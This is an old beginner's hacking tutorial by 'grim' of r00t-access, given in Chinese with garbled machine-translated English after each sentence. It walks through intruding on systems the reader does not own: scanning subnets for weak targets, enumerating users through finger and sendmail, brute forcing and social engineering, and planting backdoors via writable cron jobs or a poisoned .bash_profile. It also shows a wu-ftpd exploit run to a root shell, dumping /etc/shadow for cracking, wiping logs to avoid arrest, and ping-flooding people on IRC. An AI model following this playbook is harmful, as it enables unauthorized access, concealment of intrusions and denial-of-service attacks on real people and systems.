By: grim
首先说一下写这篇文章的目的，近来越来越多的人问我诸如“我如何能够黑了hotmail”或者aol等等一些其它的愚蠢的问题。 First talk about the purpose of writing this article, recently more and more people ask me such as "How can black hotmail" or aol so some other stupid question. 这篇文章将确实的向你解释关于“hack”的一些知识。 This article will explain to you about the exact "hack" some of the knowledge. 如果你是个初学者，你应当从头到尾通读这篇文章，或者如果你已经进阶了，那就别再往下看了，你应该全都了解的。 If you are a beginner, you should read this article from start to finish, or if you have advanced, and then stop down to read, you should all know. 我或许将往这篇文章中添加一些内容或者让他变得更易于理解。 I will probably add to the contents of this article or make him easier to understand. 我写这篇文章的最根本的原因是，让别人不再来问我或者其他人如何去做*愚蠢*的事，是的，问如何去黑（how to hack）是*愚蠢*的，它让你看起来愚蠢并且学不到任何东西，当然除非你完全不能自学的话。 I write this article, the most fundamental reason is to allow people not to ask me or other people how to do * something * stupid, yes, and asked how to black (how to hack) is * stupid *, and it allows You look stupid and not learn anything, unless of course you can not self-words.
起初当我想弄乱别人的电脑时，我只是一个中学的小孩子。 At first when I want to mess up someone else's computer, I'm just a middle school child. 我问别人有关病毒和木马的事，并且使用它们，那时我是一个lamer（瘸子，不完整的）。 I asked others to do the viruses and Trojans, and use them when I was a lamer (lame, incomplete). 我在学校里问别人并且最终发现一个对hacking感兴趣的人。 I asked other people in school and eventually found one pair of people interested in hacking. 他向我展示一些技巧，我付给他钱。 He showed me some tips, I paid him the money. （snowblue：现在有SQL，无用等一些高手义务的帮助你们，而你们却不好好的珍惜）他使用UNIX很多年了，他叫我去找一个shell。 (Snowblue: There are SQL, useless and some obligation to help you master, and you are not good treasure) he use the UNIX many years, and he told me to go to a shell. 我不知道那是什么意思。 I do not know what that means. 他说那是对UNIX系统的访问权限。 He said it is a UNIX system access. 我仍然有点迷惑，最终我得到了一个shell。 I am still a little confused, and ultimately I got a shell. 我读所有我能够找到的，把所有的时间都花在计算机上，我开始对社会和现实世界失去兴趣。 I read all I could find, all the time is spent on the computer, I began to lose interest in the community and the real world. 那时候我每天在计算机上花的时间超过12个小时。 At that time I spend on the computer every day for more than 12 hours. 我读任何找到的资料，我读的第一篇文章是"mostly harmless hacking"（几乎没有破坏性的入侵），我对它很感兴趣。 I read to find any information, I read the first article is "mostly harmless hacking" (almost no destructive invasion), I am very interested in it. 起初我只会用一些图形模式的工具来做一些像改变关机屏幕的简单的事。 At first, I will use some tools to do some of the graphics mode to change the shutdown screen like a simple thing. 做有关hacking的网站，尽管我并不知道hacking究竟是什么。 To do the hacking of the website, although I do not know what hacking. 我收集windows下的木马和病毒等一些工具，尽管那并不是hacking，但那时候我喜欢它们。 I collected the windows of Trojans and viruses and some other tools, though it is not hacking, but then I like them. 随后我开始用邮件炸弹，flooder，DoS。 Then I started to use e-mail bombs, flooder, DoS. 当我对他们有了了解后，（我意识到那并不是hacking）我回去继续寻找shell。 When I got to know them after (I realize that's not hacking) I go back and continue to search for shell. 当时我所能找到的免费的shell都是非常简单的。 I was able to find a free shell is very simple. 我听说了有关linux的一些事。 I heard some things about linux. 我问我学校的“黑客朋友”，他说不要用linux，用真正的UNIX。 I asked my school "hacker friends", told him not to use linux, use real UNIX. 他搬到了PA,从那以后我再也没有他的音讯。 He moved to PA, since I never heard from him. 我试图找到他并感谢它所教给我的，但没有成功。 I tried to find him and thank it taught me, but without success. 我得到了一个linux。 I got a linux. 安装是文本模式的，但它运行很迅速，它比windows要可靠多了，从不死机。 Installation is a text mode, but it runs very quickly, it more than the windows to be reliable, never crashes. 但我的56k modem不能工作，我跑到了IRC问有关linux的问题。 But my 56k modem does not work, I went to the IRC to ask the question about linux. 我发现了我的modem是一种叫winmodem的，win-moden是由软件控制的，他们通常比硬件modem慢，并且不能再linux下工作。 I found that my modem is a winmodem called the, win-moden is controlled by software, they are usually slower than the hardware modem, and can not work under linux. （snowblue：现在大多数的modem在linux下都有驱动，你可以自己寻找）我在命令行下模式工作，看自己能够干些什么。 (Snowblue: Now most of the modem under linux has a driver, you can find their own) I work in command line mode, they can look at doing. 最终我花了100美元买了一个linux兼容的modem。 Finally, I spent $ 100 to buy a linux compatible modem. 我让他工作，这太棒了。 I let him work, which is fantastic. 从那以后我就使用它，并且仍然可以在那上面学到更多的东西。 Since then I have to use it, that the above and still can learn something more. 我的父母说我“对计算机着魔了”，我试图解释我并没有。 My parents said I was "possessed a computer", I tried to explain I did not. 我从没有对它感到厌烦，我一直能够学到新的东西。 I never tired of it, I have been able to learn new things. 那段时间里，我失去了一些朋友，退出了大学足球队。 During that time, I lost some friends out of the university football team. 所有的一切仅仅是为了这该死的机器。 Everything is just for this damn machine. 希望某人可以发现这篇文章很有用。 Hope someone can find this article useful.
目录 Catalog
1． 1. 普通的知识 Common knowledge
2． 2. 需要的东西 What they need
3． 3. 简单的入侵 Simple intrusion
4． 4. 如何进入 How to enter
5． 5. 列举 List
6． 6. 常见的失误 Common mistakes
7． 7. 缓冲溢出 Buffer overflow
8． 8. 防火墙 Firewall
9． 9. 进入之后干些什么 After doing into
10． 10. 如何才能不被抓住 How to not get caught
11． 11. 清除纪录 Clear Record
12． 12. 用途 Use
13． 13. 我对破坏者的看法 My views on the destroyer
否认声明： Disclaimer:
阅读这篇文章说明你同意隶属于r00t-access的任何人都不对你通过看这篇文章所造成的任何后果负责 Show that you read this article belonging to r00t-access agreement for any of you people do not see this article by responsible for any consequences resulting from
1． 1. 读这篇文章的最好方法是一次把它读完，然后再读一遍。 The best way to read this article once it is read, then read it again. 好吧，现在让我们开始。 Okay, now let's get started. 我假设你已经有了一些基本的知识，知道telnet是什么，一些基本的tcp/ip的知识等等。 I assume you already have some basic knowledge to know what telnet is, some basic tcp / ip knowledge, and so on. 如果有一些你并不理解，不要犹豫，加入irc.dal.net上的#r00t-access，那是我常去的地方。 If there is something you do not understand, do not hesitate to join irc.dal.net the # r00t-access, that is my usual place.
需要的东西： Need:
2． 2. 我列出了一些在这篇教程中需要的东西。 I listed some in this tutorial need. 你可以在anti-secure.com和packetstorm.securify.com找到它们。 You can anti-secure.com and packetstorm.securify.com find them. 用引擎找一下就可以了。 With the engine to find what you can.
1. - superscan (for windows) 1. - Superscan (for windows)
2. - nmap (for unix) 2. - Nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS) 3. - Full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell 4. - Compiler on the shell
5. - wingates (you can use them as telnet proxys) 5. - Wingates (you can use them as telnet proxys)
容易的目标： Easy targets:
3． 3. 这里我讲一下如何找到一些容易的目标 Here I talk about how to find some easy targets
1． 1. 到altavista.com用日语或其他语言搜索“游戏”，理由是这些站点的安全性较低 To altavista.com Japanese or other language search "game" on the grounds that the security of these sites is less
2． 2. 扫描一个有很多服务的cable或者dsl子网，你可以用nmap，端口的状态应当是open而不是close或者filtered，nmap的扫描报告会告诉你的。 Scanning a lot of cable or dsl service subnet, you can use nmap, port status should be open and not close or filtered, nmap scan report will tell you. 我将不会告诉你如何使用namp，原因是man page已经有作够的信息了。 I will not tell you how to use namp, because the man page has enough information to make a.
3． 3. 确保nmap已经被安装了。 Ensure that nmap has been installed. 使用下面我给出的命令 I give the following command
（注意：$是一个普通的用户，而#则是超级用户。作为例子，我用了24.112.*.*，吧它替换成你想要扫瞄的ip） (Note: $ is a regular user, and # is the super-user. As an example, I used 24.112 .*.*, it you want to scan it replaced the ip)
$ nmap -p 21,23 24.112.*.* $ Nmap-p 21,23 24.112 .*.*
进入： Into:
4． 4. 为了能够进入，你应当收集尽可能多的有关目标主机的信息。 To enter, you should gather as much information about the target host. 由于这是你的第一次入侵，所以确保它有一个笨笨的管理员。 Since this is your first invasion, so make sure it has a simple-minded administrator. 然后你可以使用exploit。 Then you can use the exploit. 我将在后面详细解释 I will explain in more detail later
列举： List:
5． 5. Ok 我们找到了目标。 Ok we found the target. 现在让我们得到更多的信息。 Now let's get more information. 首先来telnet它的79端口。 The first port 79 to telnet it. 如果它是打开的，你就可以得到以登陆用户的信息。 If it is open, you can get to log the user's information. 仅仅是telnet然后按下回车。 Just telnet and press Enter.
让我们假定端口是打开的并且允许我们查看在线用户。 Let us assume that the port is open and allows us to view online users. 看下面的例子： The following example:
$ telnet target.domain 79 $ Telnet target.domain 79
Trying IPaddress... Trying IPaddress ...
Connected to target.domain. Connected to target.domain.
Escape character is '^]'. Escape character is'^]'.
Login Name Tty Idle Login Time Office Office Phone Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01 gt grahm crackhead / 1 Sep 1 12:01
ok 如果你得到了一个login，把它记下来，然后找更多的login。 ok if you get a login, write it down, and then find more login. 或许你需要暴力穷句。 Maybe you need violent poor sentence. 你可以在www.packetstorm.securify.com 找到一个windows下的穷具工具。 You can find a www.packetstorm.securify.com the poor with tools under windows. 使用大量的单词来穷举那个账号。 Exhaustive use of a large number of words to that account. 如果你得到的消息是"no one is logged on" 或许你需要一个windows下的haktek。 If you received the news that "no one is logged on" Maybe you need a windows under haktek. 同样，你可以在www.packetstorm.securify.com 找到它。 Similarly, you can find it in www.packetstorm.securify.com. Haketk能够让你监视finger进程并且纪录登陆的人。 Haketk finger allows you to monitor and record the process of landing one. 这是很有用的。 This is very useful. 另一种方法，你可以用sendmail。 Alternatively, you can use sendmail. 如果他们有很多的用户，你可以尝试telnet并且找几个有效的用户名，还可以找几个程序通过暴力法来完成。 If they have a lot of users, you can try to telnet and get some valid user name, you can also find a few procedures done through violence law. 看下面，我给出了通过sendmail来得到有效的用户名的例子— See below, I give to get through the sendmail example of a valid user name -
$ telnet target.domain 25 $ Telnet target.domain 25
Trying IPaddress... Trying IPaddress ...
Connected to target.domain. Connected to target.domain.
Escape character is '^]'. Escape character is'^]'.
220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400 220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally expn wally
250 Wally Kolcun 250 Wally Kolcun
vrfy wally vrfy wally
250 Wally Kolcun 250 Wally Kolcun
expn Billy expn Billy
550 BIlly... User Unknown 550 BIlly ... User Unknown
就像你所看到的，我telnet到他们的smtp，敲入expn，然后系统告诉我这是不是一个有效的用户，最后我给出了一个用户不存在的例子，当我敲入expn Billy，系统告诉我用户不存在，然后我知道这不是一个合法的用户。 As you can see, I telnet to their smtp, typing expn, then the system tells me this is not a valid user, and finally I gave an example of a user does not exist, when I knock expn Billy, tells me the user does not exist, then I know this is not a legitimate user. 这同样可以帮助你得到他们的email，然后你就可以尝试一下社会工程学。 It can also help you get their email, and then you can try social engineering.
另一个搜集用户名的方法可以是利用usenet, altavista,你可以搜索一下新闻组，或许可以得到一些有用的信息。 Another method of collecting user names can be used usenet, altavista, you can search newsgroups, may be able to get some useful information.
另一些可以利用的进程是systat netstat等等。 Others can take advantage of the process is systat netstat, etc.
telnet还可以帮助你判断出对方的操作系统，当你想exploit时这是非常重要的。 telnet can also help you figure out each other's operating system, when you want to exploit when it is very important. 当telnet时，有些会给出系统信息，如下所示： When the telnet, some will give the system information, as follows:
Trying IPaddress... Trying IPaddress ...
Connected to target.domain. Connected to target.domain.
Escape character is '^]'. Escape character is'^]'.
Red Hat Linux release 6.1 (Cartman) Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586 Kernal 2.2.12-20 on an i586
login: login:
你可以看到，系统是redhat 6.1 You can see, the system is redhat 6.1
有些时候你可以使用社会工程学，拿Kevin Mitnick举个例子。 Sometimes you can use social engineering to get Kevin Mitnick, for example. 它使用社会工程学进入了Novell，一个很大的系统。 It uses social engineering into Novell, a great system. 它所作的只是像一个在那里工作的人那样和别人交谈。 It is only by working there as a person and others like to talk. 他知道当时那里的某人正在度假，但是他知道某人的名字。 He knew there was someone on vacation, but he knows someone's name. 他打电话到了Novell的办公室找那个人，然后秘书告诉他那个人正在度假，然后他说它需要和那个人联系，于是它便从秘书那里得到了那个人的信息。 He called to Novell's office to find that person, then secretary told him that that person is on vacation, and then he said it needs and that personal contact, so that it begins with the Secretary that there was personal information.
常见的失误： Common mistakes:
6． 6. 人们会时不时的犯一些错误。 People will make mistakes from time to time. 这可以帮助你进入。 This can help you enter. 某些人并不是很好的管理员。 Some people are not very good administrator. 一个十分普遍的失误是权限设置上的错误。 A very common mistake is to set permissions on the error. 有些系统对所有人都开放了write权限。 Some systems open to all the write permission. 这是一个很大的问题。 This is a big problem. 让我们举个例子。 Let us take an example. 某人把cron.daily的write权限开放给所有人。 Cron.daily the write permissions for someone to open to everyone. 你就可以上传一个后门程序并通过cron进程来执行，从而得到系统的访问权。 You can upload a backdoor and through the cron daemon to run, so get access to the system.
现在让我来告诉你最可怕的事。 Now let me tell you the most horrible thing. 假如某个用户在系统上使用IRC，并且如果它把dcc文件传送设置为自动接收，接受目录为他的主目录。 If a user on the system to use IRC, and the dcc file transfer if it is set to automatically receive, accept the catalog for his home directory. 你就可以传给他一个.bash_profile，文件写的好的话，可以让他做一些事。 You can pass him a. Bash_profile, write a good paper, you can let him do something. 例如添加一个用户，或者把密码邮寄给某人。 Such as adding a user, or the password mailed to someone. 很显然这是进入系统的最简单的方法。 Obviously this is to enter the system, the easiest way.
缓冲溢出/exploiting： Buffer overflow / exploiting:
7． 7. 我不打算对缓冲溢出讲得太深，我只想借是那是什么然后进入下一节。 I do not intend to put it on the buffer overflow too, I just want to take is what it is and then enter the next section.
缓冲溢出—在进程上有一个叫缓冲限制的东西。 Buffer overflow - in the process, there is a thing called the buffer limit. 缓冲限制限制了进入的字节数。 Restrictions limit access to the buffer in bytes. 某些情况下，你可以通过特殊的代码让缓冲区溢出来得到一个root用户或者普通用户。 In some cases, you can make a special code to get a buffer overflow root user or normal user. 有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。 One example is the wu-ftpd 2.6.0 (1) buffer overflow. 下面我将告诉你： Now I will tell you:
$ gcc wuftpd-god.c -o wuftpd-god $ Gcc wuftpd-god.c-o wuftpd-god
$ ./wuftpd-god -h $. / Wuftpd-god-h
Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x] Usage:. / Wuftpd-god-t [-l user / pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir] [-M magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd target: host with any wuftpd
user : anonymous user user: anonymous user
dir : if not anonymous user, you need to have writable directory dir: if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description) magic_str: magic string (see exploit description)
-g : enables magic string digging -G: enables magic string digging
-x : enables test mode -X: enables test mode
pass_addr : pointer to setproctitle argument pass_addr: pointer to setproctitle argument
ret_addr : this is pointer to shellcode ret_addr: this is pointer to shellcode
systypes: systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm 0 - RedHat 6.2 (?) With wuftpd 2.6.0 (1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm 1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0 (1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm 2 - SuSe 6.3 with wuftpd 2.6.0 (1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm 3 - SuSe 6.4 with wuftpd 2.6.0 (1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test) 4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0 (1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports 5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0 (1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages * 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0 (1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports 7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0 (1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages 8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0 (1) from packages
$ ./wuftpd-god -s0 -t target.domain $. / Wuftpd-god-s0-t target.domain
Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm Target: target.domain (ftp /): RedHat 6.2 (?) With wuftpd 2.6.0 (1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152 Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system.. loggin into system ..
[32mUSER ftp [32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password. [0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS [32mPASS
[0m230-Next time please use your e-mail address as your password [0m230-Next time please use your e-mail address as your password
230- for example: joe@cc456375-b.abdn1.md.home.com 230 - for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply. 230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04] STEP 2: Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string STEP 3: Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown Linux melmac 2.2.14-5.0 # 1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp) uid = 0 (root) gid = 0 (root) egid = 50 (ftp) groups = 50 (ftp)
# #
如果你想要root的话，exploit是一种方法。 If you want to root, then, exploit is a way. 查出系统的操作系统，然后到hack.co.za 或者packetstorm 查找那个系统的exploit，你应当得到一些perl scripts/c scripts/shell scripts。 Identify the system's operating system, and then to hack.co.za or packetstorm find that the system exploit, you should get some perl scripts / c scripts / shell scripts. 执行它们，你就会成为root 当然，如果系统打了exploit的补丁，你或许想知道root的口令是什么。 Execute them, you will become root, of course, if the system hit the exploit patch, you might want to know the root password is. 可以敲下面的命令： You can knock the following command:
（如果没有经过shadow，口令被存放于/etc/passwd） (If they do not shadow, the password is stored in / etc / passwd)
# cat /etc/shadow > /root/passwd # Cat / etc / shadow> / root / passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash root: 34jk3h4jh3.,; 8363:0:0: root: / root: / bin / bash
bin:x:1:1:bin:/bin: bin: x: 1:1: bin: / bin:
daemon:x:2:2:daemon:/sbin: daemon: x: 2:2: daemon: / sbin:
adm:x:3:4:adm:/var/adm: adm: x: 3:4: adm: / var / adm:
lp:x:4:7:lp:/var/spool/lpd: lp: x: 4:7: lp: / var / spool / lpd:
sync:x:5:0:sync:/sbin:/bin/sync sync: x: 5:0: sync: / sbin: / bin / sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown shutdown: x: 6:0: shutdown: / sbin: / sbin / shutdown
halt:x:7:0:halt:/sbin:/sbin/halt halt: x: 7:0: halt: / sbin: / sbin / halt
mail:x:8:12:mail:/var/spool/mail: mail: x: 8:12: mail: / var / spool / mail:
news:x:9:13:news:/var/spool/news: news: x: 9:13: news: / var / spool / news:
uucp:x:10:14:uucp:/var/spool/uucp: uucp: x: 10:14: uucp: / var / spool / uucp:
operator:x:11:0:operator:/root: operator: x: 11:0: operator: / root:
games:x:12:100:games:/usr/games: games: x: 12:100: games: / usr / games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash sympa: x: 89:89: Sympa Mailing list manager: / home / sympa: / bin / bash
gopher:x:13:30:gopher:/usr/lib/gopher-data: gopher: x: 13:30: gopher: / usr / lib / gopher-data:
ftp:x:14:50:FTP User:/home/ftp: ftp:x:14:50:FTP User: / home / ftp:
nobody:x:99:99:Nobody:/: nobody: x: 99:99: Nobody: /:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false xfs: x: 100:103: X Font Server: / etc/X11/fs: / bin / false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash fax: x: 10:14: Fax Master: / home / fax /: / bin / bash
postfix:x:101:233:postfix:/var/spool/postfix: postfix: x: 101:233: postfix: / var / spool / postfix:
gdm:x:42:235::/home/gdm:/bin/bash gdm: x: 42:235:: / home / gdm: / bin / bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash grim: 9hu.u8: 501:501: grim: / home / grim: / bin / bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash banal: x: 102:236: BANAL Administrator: / home / banal: / bin / bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash bleeb: 36.34/363; 86:502:506:: / home / bleeb: / bin / bash
上面就是/etc/passwd的内容，但是你需要破解他们，可以用john the ripper，可以在packetstorm或其他地方找到它。 Above is / etc / passwd content, but you need to break them, you can use john the ripper, or can be found elsewhere in packetstorm it. 我就用它，他很快。 I used it, he soon. （snowbue：支持国产，你可以用小榕的乱刀,在www.netxeyes.com 下载）有时破解一个账号要用几年的时间，所以我并不提倡这种做法。 (Snowbue: domestic support, you can mess with a small knife Ficus in www.netxeyes.com download) sometimes take years to crack an account of the time, so I do not advocate this approach.
防火墙： Firewall:
8． 8. 如果你了解你所作的，防火墙并不能阻止你。 If you know you have made, the firewall can not stop you. 我很喜欢用nmap，这个工具非常好。 I like to use nmap, this tool is very good. 在www.insecure.org 可以找到最新的版本。 In www.insecure.org can find the latest version. 我喜欢它的OS（操作系统）检测，即使目标只运行了很少的服务，它的检测也很准确。 I love the OS (operating system) detection, even if the target is only a few services running, its detection is very accurate. 它通过分析目标的tcp指纹并于自身携带的数据库作比较来得到结果。 It is by analyzing the goals and on their own to carry tcp fingerprint database for comparison to get the results. 下面给出一个使用nmap来查出防火墙规则的例子。 Here is a use nmap to identify examples of firewall rules. 敲入nmap –sA 。 Typing nmap-sA. 浙江检测防火墙的规则。 Zhejiang Inspection Firewall rules. 我不想太过深入而是这篇文章变得使人厌烦。 I do not want to get too in-depth article makes it boring. 如果你像知道更多有关nmap的，只需敲入man nmap就可以了。 If you like to know more about nmap, simply typing man nmap on it.
进入以后做什么： Into the future what to do:
9． 9. 进入以后做什么取决于你想如何使用这个系统。 Into the future what to do depends on how you want to use this system. 如果你想有一个匿名的root shell，那么就设置一个后门。 If you want to have an anonymous root shell, then set up a back door. 你可以在www.packetstorm.securify.com 找到后门（木马）。 You can find a back door in the www.packetstorm.securify.com (Trojan). 我认为你完全有能力自己独立设置一个后门，但是如果你需要帮助的话，加入$r00t-access，或许我可以帮助你。 I think you totally have the ability to independently set up a back door, but if you need help, add $ r00t-access, perhaps I can help you. 但是我*不会*帮助你进入一个系统，不过我或许可以帮助你加固你自己的系统。 But I * do not * help you get into a system, but perhaps I can help you secure your own system.
如何才能不被抓住： How to not get caught:
10． 10. 最主要的事是。 The main thing is. 别干*蠢*事。 Do not dry * stupid * things. 如果你想保住那个shell，不要破坏那个系统，不要删除他们的文件，不过或许你需要修改他们的纪录。 If you want to keep that shell, not to destroy that system, do not delete their files, but perhaps you need to modify their records. 这就是我想说的。 This is what I want to say.
清除纪录： Clear records:
11． 11. 如果你还向待在这儿而不进监狱的话，清除日志是最重要的工作。 If you have to stay here rather than go to jail, then clear the log is the most important work. 在login/hostname中清除纪录，linux里是/var/log，还有你目录下的.bash_profile文件。 In the login / hostname in the record clear, linux in the / var / log, there is your directory. Bash_profile file. 作这事的最简单的方法是到blackcode.com 或packetstorm找一个工具。 And do this the easiest way is to blackcode.com or packetstorm find a tool.
用途： Uses:
12． 12. 我一向都拥有超过一个root shell。 I always have more than a root shell. 我在那上面运行nmap和saint来隐藏我自己的主机。 I was there to run nmap and saint to hide my own host. 或许我会在那上面设置一个web proxy/bnc。 Maybe I will set it above a web proxy / bnc. Saint是一个很好的工具。 Saint is a good tool. 它可以告诉你系统有些什么漏洞。 It can tell you what the system vulnerability. 你可以在远程很容易的使用它。 You can easily use it remotely. 有时当我看不惯某人的时候，我就flood他们，就像这样： Sometimes when I could not understand someone, I would flood them, like this:
# ping -f -c 50 -s 4500 IPaddress # Ping-f-c 50-s 4500 IPaddress
......................................................... .................................................. .......
........................................................... .................................................. .........
.........E...........E...EE........E..................E....... ......... E. .......... E. .. EE ........ E. .............. ... E. ......
..............E.......E.EEE...................EE..... .............. E. ...... E. EEE ................... EE .....
Host unreatchable. Host unreatchable.
有人认为这是lame的，但是我通过这样来让某人在IRC里闭嘴。 Some people think this is lame, but I passed this way to make someone shut up inside the IRC.
破坏者： Spoilers:
13． 13. 在这篇文章中我没有谈到hacking，实际上我我所涉及的只是cracking，我并不破坏系统，可能永远都不会。 In this article I have not talked about hacking, I actually just covered my cracking, I do not damage the system, probably never will. 并不是我没有这个能力而是因为这是不对的。 I do not have this ability but not because it is not right. 再加上如果你被抓住了你或许会因为你的破坏而坐几年牢。 Plus if you are caught you because you may damage a few years sitting in prison. 我不喜欢人们把hacking和cracking混为一谈 I do not like to confuse people into hacking and cracking
ok 写完了。 ok finished. 如果你有问题的话，可以联系我，但请不要问诸如如何去黑的问题。 If you have questions, you can contact me, but please do not ask questions such as how to black. 不久我将建一个telnet的BBS。 Soon I will build a telnet the BBS.
联系人： Contact:
AIM: mrflemmingsuck AIM: mrflemmingsuck
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AOL (yes i have actually been known to use it at times for windows): zor0d AOL (yes i have actually been known to use it at times for windows): zor0d
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email: grimR@antisecure.com or grim@r00taccess.dhs.org email: grimR@antisecure.com or grim@r00taccess.dhs.org
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IRC: irc.dal.net #r00t-access #zerosignal #bios and others... IRC: irc.dal.net # r00t-access # zerosignal # bios and others ...
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ICQ: 54566262 ICQ: 54566262
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This text was by grimR, you are free to use this on your site and feel free to distribute it, just make This text was by grimR, you are free to use this on your site and feel free to distribute it, just make
sure you leave it as is and keep the credit to me :) sure you leave it as is and keep the credit to me:)
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